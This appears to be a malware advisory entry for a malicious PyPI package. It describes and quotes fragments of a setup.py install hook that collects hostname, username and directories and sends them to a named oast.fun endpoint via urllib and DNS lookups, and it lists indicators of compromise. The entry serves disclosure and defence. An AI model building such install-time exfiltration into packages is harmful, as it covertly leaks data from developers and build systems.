GCVE-110-OSM-2026-11661

Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation. Judge assessment: This is an installer-based data theft payload: `setup.py` executes `rce_poc()` during installation and immediately collects `socket.gethostname()`, the current user, cwd, and home directory before sending them to a hardcoded OAST endpoint. The attacker model is a dependency-confusion/typosquat-style PyPI implant that abuses `pip install` to beacon out host data to `https://yokodnssmamqdchvjfyqyo8zaq3s90h8e.oast.fun/dbt-sa-cli` and also performs DNS callbacks via `socket.gethostbyname(...)`. The package description and OSV advisory both align with the code, but the code itself is decisive: there is no legitimate package functionality beyond exfiltration and a marker file write. This is consistent with malicious reconnaissance and exfiltration targeting developers or build environments. DESTINATION - 2 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in setup.py: ".oast.fun" - Python File Upload to Remote in setup.py: "urllib.request.Request( "https://yokodnssmamqdchvjfyqyo8zaq3s90h8e.oast.fun/dbt-..." - HTTP Data Exfiltration in setup.py: "urllib.request def rce_poc(): info = { "hostname": socket.gethostname()" - Network Request in setup.py: "Request( "https:" - System Information Collection in setup.py: "socket.gethostname()" - DNS Lookup in setup.py: "socket.gethostbyname(" - Suspicious Domain in setup.py: "oast.fun" PAYLOAD FILES setup.py